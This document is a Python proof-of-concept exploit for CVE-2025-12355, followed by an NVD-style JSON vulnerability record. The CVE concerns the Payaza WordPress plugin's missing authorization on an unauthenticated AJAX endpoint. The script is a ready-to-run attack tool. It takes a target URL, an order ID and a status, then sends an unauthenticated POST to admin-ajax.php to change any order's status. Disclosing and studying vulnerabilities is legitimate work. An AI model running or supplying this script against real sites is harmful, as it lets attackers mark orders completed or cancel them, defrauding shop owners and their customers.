CVE-2025-12355

#!/usr/bin/env python3 """ CVE-2025-12355 PoC - Payaza WordPress Plugin Unauthorized Order Status Update This script demonstrates the exploitation of missing authorization in wp_ajax_nopriv_update_order_status """ import requests import sys def exploit_cve_2025_12355(target_url, order_id, new_status): """ Exploit the missing capability check in Payaza plugin Args: target_url: Target WordPress site URL order_id: Target order ID to modify new_status: New status to set (e.g., 'completed', 'cancelled') """ # AJAX endpoint URL ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'update_order_status', 'order_id': order_id, 'status': new_status } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-12355...") print(f"[*] Target Order ID: {order_id}") print(f"[*] New Status: {new_status}") try: # Send the malicious request without authentication response = requests.post(ajax_url, data=data, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Request sent successfully - order status may have been modified") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_12355.py <target_url> <order_id> <new_status>") print("Example: python cve_2025_12355.py http://example.com 123 completed") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] new_status = sys.argv[3] exploit_cve_2025_12355(target, order_id, new_status)

{"cve": {"id": "CVE-2025-12355", "sourceIdentifier": "[email protected]", "published": "2025-12-05T07:16:10.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Payaza plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_nopriv_update_order_status' AJAX endpoint in all versions up to, and including, 0.3.8. This makes it possible for unauthenticated attackers to update order statuses."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/payaza/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/acc88688-76e0-4477-8b7c-eeff541881ab?source=cve", "source": "[email protected]"}]}}